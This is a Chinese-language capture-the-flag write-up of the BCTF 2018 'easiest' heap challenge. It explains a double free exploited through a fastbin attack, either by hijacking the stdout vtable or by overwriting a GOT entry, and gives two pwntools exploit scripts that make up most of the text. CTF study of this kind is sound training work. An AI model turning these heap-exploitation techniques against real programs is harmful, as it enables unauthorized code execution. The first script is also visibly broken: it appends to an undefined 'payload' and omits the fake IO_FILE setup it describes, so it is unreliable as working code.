并没有参加这次bctf,只有事后看看题目,这道题目不算难,不过还是学到了一些以前不是很清楚的东西,所以记录一下。
题目描述
题目来源: BCTF 2018
知识点:fastbin_attack、IO_FILE
题目提供的功能非常简单,只有add和delete
1 2 3 4 5 6
| int menu() { puts("HI!"); puts("1 add "); return puts("2 delete "); }
|
保护情况:
1 2 3 4 5 6
| [*] '/home/hgy/pwn/bctf2018/easiest/easiest' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
漏洞情况
1 2 3 4 5 6 7 8 9 10 11 12 13
| int remove() { int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf("(0-11):"); __isoc99_scanf("%d", &v1); if ( v1 < 0 || v1 > 11 ) exit(1); free(ptr[v1]); return puts("delete success !"); }
|
在remove时,没有清空ptr指针,存在double free。
1 2 3 4
| int sub_400946() { return system("/bin/sh"); }
|
还有一个后门函数。。
利用过程
因为没有输出功能,所以泄露libc十分困难,改malloc_hook
之类的估计是不行了。
所以把目标转移到GOT表,这里有两种方法,一种是通过改GOT表
的值,一种是改stdout指针
。
要点
劫持stdout指针
0x602082
的值可以充当size
改写stdout指针,使vtable
的地址在我们的预先分配好的chunk处,并预先在chunk中伪造好vtable,将__xsputn
对应偏移处写入后门函数的地址。
这样,当调用printf
时,最终会调用__xsputn
,而执行后门函数
IO_FILE
结构体中_lock
的值必须是可写的地址mode
的值需要为0
劫持GOT表
0x60204d
的值可以充当size,因为size只检查低4个字节。
然后用system
的地址往后覆写掉strtol
函数的got表就行了
EXP1
劫持stdout指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./easiest')
elf = ELF('./easiest')
def add(index, size, content): p.recvuntil('2 delete \n') p.sendline('1') p.recvuntil('(0-11):') p.sendline(str(index)) p.recvuntil('Length:') p.sendline(str(size)) p.recvuntil('C:') p.sendline(content)
def remove(index): p.recvuntil('2 delete \n') p.sendline('2') p.recvuntil('(0-11):') p.sendline(str(index))
shell = 0x400946 fake_chunk = 0x60207a ptr = 0x6020c0
add(8, 0x40, p64(shell)*8) add(1, 0x30, p64(0xdeadbeef)) add(2, 0x30, p64(0xdeadbeef)) add(3, 0x30, p64(0xdeadbeef)) remove(1) remove(2) remove(1)
add(4, 0x30, p64(fake_chunk)) add(9, 0x30, p64(0)) payload += "\x00"*0x16 payload += p64(ptr - 0xd8 + 8 * 0x8)
add(6, 0x30, p64(fake_chunk))
add(10, 0x30, payload)
p.sendline("aaa")
p.interactive()
|
EXP2
劫持GOT表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./easiest') elf = ELF('./easiest')
def add(index, size, content): p.recvuntil('2 delete \n') p.sendline('1') p.recvuntil('(0-11):') p.sendline(str(index)) p.recvuntil('Length:') p.sendline(str(size)) p.recvuntil('C:') p.sendline(content)
def remove(index): p.recvuntil('2 delete \n') p.sendline('2') p.recvuntil('(0-11):') p.sendline(str(index))
fake_chunk = 0x602045
add(1, 0x60, p64(0xdeadbeef)) add(2, 0x60, p64(0xdeadbeef)) add(3, 0x60, p64(0xdeadbeef)) remove(1) remove(2) remove(1)
add(4, 0x60, p64(fake_chunk)) add(9, 0x60, p64(0)) payload = "\x00" * 0xb payload += p64(elf.symbols['system'])
add(6, 0x60, p64(fake_chunk)) add(10, 0x68, payload)
p.sendline('/bin/sh')
p.interactive()
|
相关链接
二进制文件:easiest